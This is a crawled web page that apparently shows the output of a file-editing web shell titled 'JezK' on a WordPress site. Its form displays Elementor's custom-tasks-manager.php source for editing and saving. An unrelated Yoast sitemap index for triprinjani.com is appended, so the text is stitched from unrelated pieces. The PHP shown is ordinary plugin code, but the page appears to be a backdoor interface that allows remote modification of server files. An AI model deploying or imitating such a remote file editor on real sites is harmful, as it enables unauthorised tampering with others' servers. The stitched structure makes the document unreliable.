
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: custom-tasks-manager.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
namespace Elementor\Core\Upgrade;

use Elementor\Core\Base\Background_Task_Manager;
use Elementor\Plugin;

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit; // Exit if accessed directly.
}

class Custom_Tasks_Manager extends Background_Task_Manager {
	const TASKS_OPTION_KEY = &#039;elementor_custom_tasks&#039;;

	const QUERY_LIMIT = 100;

	public function get_name() {
		return &#039;custom-task-manager&#039;;
	}

	public function get_action() {
		return &#039;custom_task_manger&#039;;
	}

	public function get_plugin_name() {
		return &#039;elementor&#039;;
	}

	public function get_plugin_label() {
		return esc_html__( &#039;Elementor&#039;, &#039;elementor&#039; );
	}

	public function get_task_runner_class() {
		return Task::class;
	}

	public function get_query_limit() {
		return self::QUERY_LIMIT;
	}

	protected function start_run() {
		$custom_tasks_callbacks = $this-&gt;get_custom_tasks();

		if ( empty( $custom_tasks_callbacks ) ) {
			return;
		}

		$task_runner = $this-&gt;get_task_runner();

		foreach ( $custom_tasks_callbacks as $callback ) {
			$task_runner-&gt;push_to_queue( [
				&#039;callback&#039; =&gt; $callback,
			] );
		}

		$this-&gt;clear_tasks_requested_to_run();

		Plugin::$instance-&gt;logger-&gt;get_logger()-&gt;info( &#039;Elementor custom task(s) process has been queued.&#039;, [
			&#039;meta&#039; =&gt; [ $custom_tasks_callbacks ],
		] );

		$task_runner-&gt;save()-&gt;dispatch();
	}

	public function get_tasks_class() {
		return Custom_Tasks::class;
	}

	public function get_tasks_requested_to_run() {
		return get_option( self::TASKS_OPTION_KEY, [] );
	}

	public function clear_tasks_requested_to_run() {
		return update_option( self::TASKS_OPTION_KEY, [], false );
	}

	public function add_tasks_requested_to_run( $tasks = [] ) {
		$current_tasks = $this-&gt;get_tasks_requested_to_run();
		$current_tasks = array_merge( $current_tasks, $tasks );

		update_option( self::TASKS_OPTION_KEY, $current_tasks, false );
	}

	private function get_custom_tasks() {
		$tasks_requested_to_run = $this-&gt;get_tasks_requested_to_run();

		$tasks_class = $this-&gt;get_tasks_class();
		$tasks_reflection = new \ReflectionClass( $tasks_class );

		$callbacks = [];

		foreach ( $tasks_reflection-&gt;getMethods() as $method ) {
			$method_name = $method-&gt;getName();

			if ( in_array( $method_name, $tasks_requested_to_run, true ) ) {
				$callbacks[] = [ $tasks_class, $method_name ];
			}
		}

		return $callbacks;
	}

	public function __construct() {
		$task_runner = $this-&gt;get_task_runner();

		if ( $task_runner-&gt;is_running() ) {
			return;
		}

		$this-&gt;start_run();
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//triprinjani.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://triprinjani.com/post-sitemap.xml</loc>
		<lastmod>2026-09-26T02:10:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/page-sitemap.xml</loc>
		<lastmod>2026-09-25T16:40:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/activity-sitemap.xml</loc>
		<lastmod>2026-09-14T14:27:43+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/category-sitemap.xml</loc>
		<lastmod>2026-09-26T02:10:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/post_tag-sitemap.xml</loc>
		<lastmod>2026-06-01T04:49:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/author-sitemap.xml</loc>
		<lastmod>2026-05-11T10:02:51+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->